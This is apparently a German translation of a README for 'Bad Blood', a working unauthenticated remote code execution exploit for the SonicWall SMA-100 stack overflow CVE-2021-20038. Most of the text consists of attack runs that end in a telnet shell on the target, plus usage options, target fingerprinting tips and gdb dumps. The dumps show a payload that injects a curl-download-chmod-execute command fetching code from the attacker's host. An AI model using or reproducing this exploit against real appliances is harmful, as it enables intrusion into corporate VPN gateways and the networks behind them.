
# SonicWall SMA-100 Unautorisierter RCE-Exploit (CVE-2021-20038)
Bad Blood ist ein Exploit für CVE-2021-20038, einen stack-basierten Pufferüberlauf in der httpd-Binärdatei von SMA-100-Serien-Systemen mit Firmware-Versionen 10.2.1.x. Ich habe viele der technischen Details hier dokumentiert:
Der Exploit öffnet, wie geschrieben, eine Telnet-Bind-Shell auf Port 1270. Ein Angreifer, der sich mit der Shell verbindet, erhält Ausführung als nobody.
albinolobster@ubuntu:/badblood$ date
Mon Jan 10 01:15:12 PM PST 2022
albinolobster@ubuntu:/badblood$ python3 badblood.py --rhost 10.0.0.7 --lhost 10.0.0.3 --rversion 10.2.1.2-24sv
▄▄▄▄ ▄▄▄ ▓█████▄ ▄▄▄▄ ██▓ ▒█████ ▒█████ ▓█████▄
▓█████▄ ▒████▄ ▒██▀ ██▌ ▓█████▄ ▓██▒ ▒██▒ ██▒▒██▒ ██▒▒██▀ ██▌
▒██▒ ▄██▒██ ▀█▄ ░██ █▌ ▒██▒ ▄██▒██░ ▒██░ ██▒▒██░ ██▒░██ █▌
▒██░█▀ ░██▄▄▄▄██ ░▓█▄ ▌ ▒██░█▀ ▒██░ ▒██ ██░▒██ ██░░▓█▄ ▌
░▓█ ▀█▓ ▓█ ▓██▒░▒████▓ ░▓█ ▀█▓░██████▒░ ████▓▒░░ ████▓▒░░▒████▓
░▒▓███▀▒ ▒▒ ▓▒█░ ▒▒▓ ▒ ░▒▓███▀▒░ ▒░▓ ░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒▒▓ ▒
▒░▒ ░ ▒ ▒▒ ░ ░ ▒ ▒ ▒░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ▒ ▒
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░
[+] Spinning up HTTP server [+] User did not provide an address. We'll guess it. [+] Generated 2047 base addresses [+] Generated 1046017 total addresses to search [+] Filtering addresses for double visits (thanks awesome payload!) [+] Filtered down to 235533 total addresses to search [+] Crashing all forks to reset stack to a semi-predicatable state [+] Crashing complete. Good job. Let's go do work. [+] Disabling stderr [+] Spawning 4 workers [+] Attempting to exploit the remote server. This might take quite some time. :eek: [%] Addresses Tested: 70% [] Now we got bad blood. Hey! 🦞 albinolobster@ubuntu:~/badblood$ telnet 10.0.0.7 1270 Trying 10.0.0.7... Connected to 10.0.0.7. Escape character is '^]'.
bash-4.2$ whoami nobody bash-4.2$ uname -a Linux sslvpn 3.13.3 #1 SMP Tue Oct 12 09:52:15 GMT 2021 i686 i686 i386 GNU/Linux bash-4.2$
## Unterstützte Versionen
| Version | Unterstützt | Getestet | Getestetes Ziel |
| - | - | - | - |
| 10.2.1.2-24sv | Ja | :heavy_check_mark: | SMA 500v ESX |
| 10.2.1.1-19sv | Ja | :heavy_check_mark: | SMA 500v ESX |
| 10.2.1.0-17sv | Ja | :heavy_check_mark: | SMA 500v ESX |
## Verwendung
Mindestens müssen Sie Folgendes angeben:
* rhost: die IP-Adresse des entfernten Hosts
* lhost: die IP-Adresse des lokalen Hosts
* version: die Version des Ziels.
Bitte lesen Sie die Stabilitätshinweise für zusätzlichen Kontext.
Eine naheliegende Frage ist, wie man die Version des Ziels ermittelt. Eine einfache `curl`-Anfrage an das Ziel zeigt, dass sie die Versionsnummer für die `css`- und `js`-Versionierung verwenden.```
albinolobster@ubuntu:~$ curl --insecure https://10.0.0.7/cgi-bin/welcome
...
<link href='/swl_login.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href='/swl_header.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href='/sma_content_overrides.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href='/sma_login_overrides.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href="/notificationbar.10.2.1.2-24sv.css" type="text/css" rel="stylesheet">
<script src="/js/jquery.10.2.1.2-24sv.js" type="text/javascript" charset="utf-8"></script>
Das Metasploit-Modul für CVE-2021-20039 parst dies, aber ich hatte nicht die Energie, es für diesen Exploit zu tun. Beachte, dass ich glaube, dass der „Server: SonicWall SSL-VPN Web Server“ das zuverlässigste Signal ist, wenn du deine Umgebung nach diesen Dingen durchsuchst. Etwa 22k im Januar 2022.
albinolobster@ubuntu:~/badblood$ python3 badblood.py --help
▄▄▄▄ ▄▄▄ ▓█████▄ ▄▄▄▄ ██▓ ▒█████ ▒█████ ▓█████▄
▓█████▄ ▒████▄ ▒██▀ ██▌ ▓█████▄ ▓██▒ ▒██▒ ██▒▒██▒ ██▒▒██▀ ██▌
▒██▒ ▄██▒██ ▀█▄ ░██ █▌ ▒██▒ ▄██▒██░ ▒██░ ██▒▒██░ ██▒░██ █▌
▒██░█▀ ░██▄▄▄▄██ ░▓█▄ ▌ ▒██░█▀ ▒██░ ▒██ ██░▒██ ██░░▓█▄ ▌
░▓█ ▀█▓ ▓█ ▓██▒░▒████▓ ░▓█ ▀█▓░██████▒░ ████▓▒░░ ████▓▒░░▒████▓
░▒▓███▀▒ ▒▒ ▓▒█░ ▒▒▓ ▒ ░▒▓███▀▒░ ▒░▓ ░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒▒▓ ▒
▒░▒ ░ ▒ ▒▒ ░ ░ ▒ ▒ ▒░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ▒ ▒
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░
usage: badblood.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST [--rversion RVERSION] [--rhostname RHOSTNAME] [--supported-versions] [--workers WORKERS] [--nocrash] [--enable-stderr] [--addr ADDR] [--top-addr TOP_ADDR]
SonicWall SMA-100 Series Stack-Buffer Overflow Exploit (CVE-2021-20038)
optional arguments: -h, --help show this help message and exit --supported-versions The list of supported SMA-100 versions --workers WORKERS The number of workers to spew the exploit --nocrash Stops the exploit from sending a series of crash payload to start --enable-stderr Enable stderr for debugging --addr ADDR Test only. If you know the crash address, go wild. --top-addr TOP_ADDR Test only. If you know the stack's top address, go wild.
required arguments: --rhost RHOST The IPv4 address to connect to --rport RPORT The port to connect to --lhost LHOST The address to connect back to --rversion RVERSION The version of the remote target --rhostname RHOSTNAME The hostname of the remote target target
### --addr vs. --top-addr vs. keine Option
Es gibt drei Hauptbetriebsmodi. Der erste ist der erwartete Modus (Adressraten). Die zweiten beiden dienen hauptsächlich zu Testzwecken.
#### Ich kenne keine Adressen!
Dies ist der Standardzustand und kein Problem! Wir raten einfach eine Menge.
#### Ich kenne die Adresse des Stapelendes (Top of the Stack)!
Großartig! Wenn du maps cat-en oder andere Magie betreiben kannst:```
bfa29000-bfa4a000 rw-p 00000000 00:00 0 [stack]
Sie können den Parameter --top_addr verwenden und die Angriffszeit auf nur wenige Sekunden reduzieren!```
albinolobster@ubuntu:/badblood$ date
Mon Jan 10 05:42:19 PM PST 2022
albinolobster@ubuntu:/badblood$ python3 badblood.py --rhost 10.0.0.7 --lhost 10.0.0.3 --rversion 10.2.1.2-24sv --top-addr 3215237120
▄▄▄▄ ▄▄▄ ▓█████▄ ▄▄▄▄ ██▓ ▒█████ ▒█████ ▓█████▄
▓█████▄ ▒████▄ ▒██▀ ██▌ ▓█████▄ ▓██▒ ▒██▒ ██▒▒██▒ ██▒▒██▀ ██▌
▒██▒ ▄██▒██ ▀█▄ ░██ █▌ ▒██▒ ▄██▒██░ ▒██░ ██▒▒██░ ██▒░██ █▌
▒██░█▀ ░██▄▄▄▄██ ░▓█▄ ▌ ▒██░█▀ ▒██░ ▒██ ██░▒██ ██░░▓█▄ ▌
░▓█ ▀█▓ ▓█ ▓██▒░▒████▓ ░▓█ ▀█▓░██████▒░ ████▓▒░░ ████▓▒░░▒████▓
░▒▓███▀▒ ▒▒ ▓▒█░ ▒▒▓ ▒ ░▒▓███▀▒░ ▒░▓ ░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒▒▓ ▒
▒░▒ ░ ▒ ▒▒ ░ ░ ▒ ▒ ▒░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ▒ ▒
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░
[+] Spinning up HTTP server [+] User provided the top stack address: bfa4a000 [+] Generated 511 total addresses to search [+] Filtering addresses for double visits (thanks awesome payload!) [+] Filtered down to 243 total addresses to search [+] Crashing all forks to reset stack to a semi-predicatable state [+] Crashing complete. Good job. Let's go do work. [+] Disabling stderr [+] Spawning 4 workers [+] Attempting to exploit the remote server. This might take quite some time. :eek: [%] Addresses Tested: 33% [] Received an HTTP callback from 10.0.0.7 at 10/Jan/2022 17:42:34 [] Now we got bad blood. Hey! 🦞 albinolobster@ubuntu:~/badblood$ telnet 10.0.0.7 1270 Trying 10.0.0.7... Connected to 10.0.0.7. Escape character is '^]'.
bash-4.2$ whoami nobody bash-4.2$
#### Ich kenne die genaue Adresse von $ebp+8
Mein Freund. Verwende --addr.```
albinolobster@ubuntu:~/badblood$ date
Mon Jan 10 05:48:58 PM PST 2022
albinolobster@ubuntu:~/badblood$ python3 badblood.py --rhost 10.0.0.7 --lhost 10.0.0.3 --rversion 10.2.1.2-24sv --addr 3215229520
▄▄▄▄ ▄▄▄ ▓█████▄ ▄▄▄▄ ██▓ ▒█████ ▒█████ ▓█████▄
▓█████▄ ▒████▄ ▒██▀ ██▌ ▓█████▄ ▓██▒ ▒██▒ ██▒▒██▒ ██▒▒██▀ ██▌
▒██▒ ▄██▒██ ▀█▄ ░██ █▌ ▒██▒ ▄██▒██░ ▒██░ ██▒▒██░ ██▒░██ █▌
▒██░█▀ ░██▄▄▄▄██ ░▓█▄ ▌ ▒██░█▀ ▒██░ ▒██ ██░▒██ ██░░▓█▄ ▌
░▓█ ▀█▓ ▓█ ▓██▒░▒████▓ ░▓█ ▀█▓░██████▒░ ████▓▒░░ ████▓▒░░▒████▓
░▒▓███▀▒ ▒▒ ▓▒█░ ▒▒▓ ▒ ░▒▓███▀▒░ ▒░▓ ░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒▒▓ ▒
▒░▒ ░ ▒ ▒▒ ░ ░ ▒ ▒ ▒░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ▒ ▒
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░
[+] Spinning up HTTP server
[+] User provided the crash address: bfa48250
[+] Filtering addresses for double visits (thanks awesome payload!)
[+] Filtered down to 1 total addresses to search
[+] Crashing all forks to reset stack to a semi-predicatable state
[+] Crashing complete. Good job. Let's go do work.
[+] Disabling stderr
[+] Spawning 4 workers
[+] Attempting to exploit the remote server. This might take quite some time. :eek:
[*] Received an HTTP callback from 10.0.0.7 at 10/Jan/2022 17:49:08
[*] Now we got bad blood. Hey! 🦞
albinolobster@ubuntu:~/badblood$ telnet 10.0.0.7 1270
Trying 10.0.0.7...
Connected to 10.0.0.7.
Escape character is '^]'.
bash-4.2$ whoami
nobody
bash-4.2$ uname -a
Linux sslvpn 3.13.3 #1 SMP Tue Oct 12 09:52:15 GMT 2021 i686 i686 i386 GNU/Linux
bash-4.2$
Eine gute Frage für jeden Exploit: Wie stabil ist dieser Exploit? Überhaupt nicht :lol: Der Buffer Overflow tritt in einer Bibliothek namens mod_cgi.so auf (eine modifizierte Version des Apache-HTTP-Projekts). Die Bibliothek wird mit einer randomisierten Basis geladen, und der Overflow erfordert ein sehr spezifisches Speicherlayout, um erfolgreich zu sein (zumindest so, wie ich es lese). Wirklich nicht großartig für einen Remote-Angreifer. Aber wie ich im AttackerKB-Eintrag ausgeführt habe, gibt es eine Reihe von Dingen, die es uns ermöglichen, die gewünschte zufällige Adresse zu erraten.
Daher sendet dieser Exploit, so wie er geschrieben ist (ich kann nicht genug betonen, dass dies verbessert werden kann), bis zu 235.335 HTTP-Anfragen, um den Payload durch Erraten einer Stack-Adresse zu platzieren. Zweihunderttausend Anfragen klingen nicht schlecht, aber es kann einige Zeit dauern. In dem Beispiel, das ich oben gepostet habe, brauchte der Exploit 83 Minuten, um zu landen. Das bedeutet, dass du ihn nicht in dein Mirai-Botnetz einbaust, um ihn über das ganze Internet zu verteilen 🤷 Ich denke aber, dass es ein vernünftiger Exploit für einen gezielten Angriff ist.
Zusätzlich leidet der Exploit (wie implementiert) unter zwei Problemen, die dazu führen könnten, dass die Ausnutzung fehlschlägt. Das erste ist irgendwie albern. Es gibt zwei Adressen vor dem Shell-Befehl, der letztendlich ausgeführt wird. Beide Adressen werden an /bin/sh übergeben, weil Programmieren schwer ist. Wenn die erste Adresse ein Shell-Metazeichen wie '(' oder '`' enthält, wird der Exploit einfach nie funktionieren. Sorry! Das Schlimmste ist, dass du nie wirklich wissen wirst, ob das entfernte Ziel eine solche Adresse erfordert oder ob der Exploit kaputt ist!
Das zweite Problem ist viel spezifischer dafür, wie ich das geschrieben habe, und könnte leicht von jemandem behoben werden, dem es wichtig ist. Ich habe diesen Exploit so geschrieben, dass er einen Aufruf an system macht, weil ich faul und ein Hacker bin. Das erforderte, dass der Payload unter etwa 2500 Bytes bleibt, sonst überschreibst du am Ende env[] und crasht der Versuch. Wie auch immer. Wie im AKB-Eintrag erwähnt, tritt der Overflow aufgrund des Aufbaus eines Umgebungsstrings auf. Ausrichtung und dergleichen sind für diesen Exploit sehr wichtig. Hier ist ein Beispiel für den Payload im Speicher:```
Breakpoint 1, 0xb697cfe6 in ?? () from /lib/mod_cgi.so
(gdb) disas 0xb697cfe6,0xb697cfea
Dump of assembler code from 0xb697cfe6 to 0xb697cfea:
=> 0xb697cfe6: mov 0x8(%ebp),%eax
0xb697cfe9: mov 0x110(%eax),%eax
End of assembler dump.
(gdb) printf "%s", $ebp-982
10.0.0.3 REDIRECT_QUERY_STRING=zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz REDIRECT_WAF_NOT_LICENSED=1REDIRECT_SCRIPT_URL=/$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaaREDIRECT_SCRIPT_URI=https://sslvpn/$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaaREDIRECT_HTTPS=onREDIRECT_REQUEST_METHOD=GETREDIRECT_STATUS=404WAF_NOT_LICENSED=1SCRIPT_URL=/$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaaSCRIPT_URI=https://sslvpn/$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaaHTTPS=onSERVER_SIGNATURE=SERVER_SOFTWARE=SonicWALL SSL-VPN Web ServerSERVER_NAME=sslvpnSERVER_ADDR=10.0.0.7SERVER_PORT=443REMOTE_ADDR=10.0.0.3DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsREQUEST_SCHEME=httpsCONTEXT_PREFIX=CONTEXT_DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsSERVER_ADMIN=root@sslvpnSCRIPT_FILENAME=/usr/src/EasyAccess/www/cgi-bin/staticContentREMOTE_PORT=38236REDIRECT_URL=/$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaaGATEWAY_INTERFACE=CGI/1.1SERVER_PROTOCOL=HTTP/0.9REQUEST_METHOD=GETREQUEST_URI=/%24%87%a4%bf%38%88%a4%bf%38%88%a4%bf%08%b7%06%08;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa%24%87%a4%bf%38%88%a4%bf%38%88%a4%bf%08%b7%06%08;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa?zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzSCRIPT_NAME=/missing.html
Und hier landet es:```
(gdb) printf "%s", $ebp+8
$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaaSCRIPT_URI=https://sslvpn/$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaaHTTPS=onSERVER_SIGNATURE=SERVER_SOFTWARE=SonicWALL SSL-VPN Web ServerSERVER_NAME=sslvpnSERVER_ADDR=10.0.0.7SERVER_PORT=443REMOTE_ADDR=10.0.0.3DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsREQUEST_SCHEME=httpsCONTEXT_PREFIX=CONTEXT_DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsSERVER_ADMIN=root@sslvpnSCRIPT_FILENAME=/usr/src/EasyAccess/www/cgi-bin/staticContentREMOTE_PORT=38236REDIRECT_URL=/$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaaGATEWAY_INTERFACE=CGI/1.1SERVER_PROTOCOL=HTTP/0.9REQUEST_METHOD=GETREQUEST_URI=/%24%87%a4%bf%38%88%a4%bf%38%88%a4%bf%08%b7%06%08;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa%24%87%a4%bf%38%88%a4%bf%38%88%a4%bf%08%b7%06%08;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa?zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzSCRIPT_NAME=/missing.html
(gdb) x/4x $ebp+8
0xbfa48250: 0xbfa48724 0xbfa48838 0xbfa48838 0x0806b708
(gdb)
Jeder unbekannte Wert zwischen dem Anfang der Payload und dem Ende wird die Ausrichtung durcheinanderbringen. Lassen Sie es uns etwas besser aufschlüsseln:``` 10.0.0.3 REDIRECT_QUERY_STRING=zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz REDIRECT_WAF_NOT_LICENSED=1 REDIRECT_SCRIPT_URL=/$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa REDIRECT_SCRIPT_URI=https://sslvpn/$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa REDIRECT_HTTPS=on REDIRECT_REQUEST_METHOD=GET REDIRECT_STATUS=404 WAF_NOT_LICENSED=1 SCRIPT_URL=/
Die offensichtlichen Probleme sind:
* IP-Adresse am Anfang
* Hostname (`sslvpn` im Beispiel)
Beide lassen sich leicht berücksichtigen, indem man einfach die Abfragezeichenfolge (z*400+) modifiziert. Allerdings ist es möglicherweise nicht immer so trivial, den tatsächlichen Hostnamen (sslvpn ist nur der Standard) und die IP-Adresse des Angreifers, wie sie hier erscheint, zu ermitteln. Ich bin mir tatsächlich nicht sicher, wie man den Hostnamen am besten bestimmt ... aber nur um zu beweisen, dass Nicht-Standard funktioniert:```
albinolobster@ubuntu:~/badblood$ python3 badblood.py --rhost 10.0.0.7 --lhost 10.0.0.3 --rversion 10.2.1.2-24sv --top-addr 3218436096 --rhostname sslvpn1
▄▄▄▄ ▄▄▄ ▓█████▄ ▄▄▄▄ ██▓ ▒█████ ▒█████ ▓█████▄
▓█████▄ ▒████▄ ▒██▀ ██▌ ▓█████▄ ▓██▒ ▒██▒ ██▒▒██▒ ██▒▒██▀ ██▌
▒██▒ ▄██▒██ ▀█▄ ░██ █▌ ▒██▒ ▄██▒██░ ▒██░ ██▒▒██░ ██▒░██ █▌
▒██░█▀ ░██▄▄▄▄██ ░▓█▄ ▌ ▒██░█▀ ▒██░ ▒██ ██░▒██ ██░░▓█▄ ▌
░▓█ ▀█▓ ▓█ ▓██▒░▒████▓ ░▓█ ▀█▓░██████▒░ ████▓▒░░ ████▓▒░░▒████▓
░▒▓███▀▒ ▒▒ ▓▒█░ ▒▒▓ ▒ ░▒▓███▀▒░ ▒░▓ ░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒▒▓ ▒
▒░▒ ░ ▒ ▒▒ ░ ░ ▒ ▒ ▒░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ▒ ▒
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░
[+] Spinning up HTTP server
[+] User provided the top stack address: bfd57000
[+] Generated 511 total addresses to search
[+] Filtering addresses for double visits (thanks awesome payload!)
[+] Filtered down to 243 total addresses to search
[+] Crashing all forks to reset stack to a semi-predicatable state
[+] Crashing complete. Good job. Let's go do work.
[+] Disabling stderr
[+] Spawning 4 workers
[+] Attempting to exploit the remote server. This might take quite some time. :eek:
[%] Addresses Tested: 9%
[*] Received an HTTP callback from 10.0.0.7 at 10/Jan/2022 18:31:45
[*] Now we got bad blood. Hey! 🦞
albinolobster@ubuntu:~/badblood$ telnet 10.0.0.7 1270
Trying 10.0.0.7...
Connected to 10.0.0.7.
Escape character is '^]'.
bash-4.2$ uname -a
Linux sslvpn1 3.13.3 #1 SMP Tue Oct 12 09:52:15 GMT 2021 i686 i686 i386 GNU/Linux
bash-4.2$
Möchtest du daran herumbasteln? Super! Ich empfehle dringend, das Gerät mit dem CVE-2021-20039 Metasploit-Modul zu rooten. Lege busybox auf dem Gerät ab und starte eine Root-Telnet-Shell. Lege gdb auf dem Gerät ab und beginne mit dem Debugging.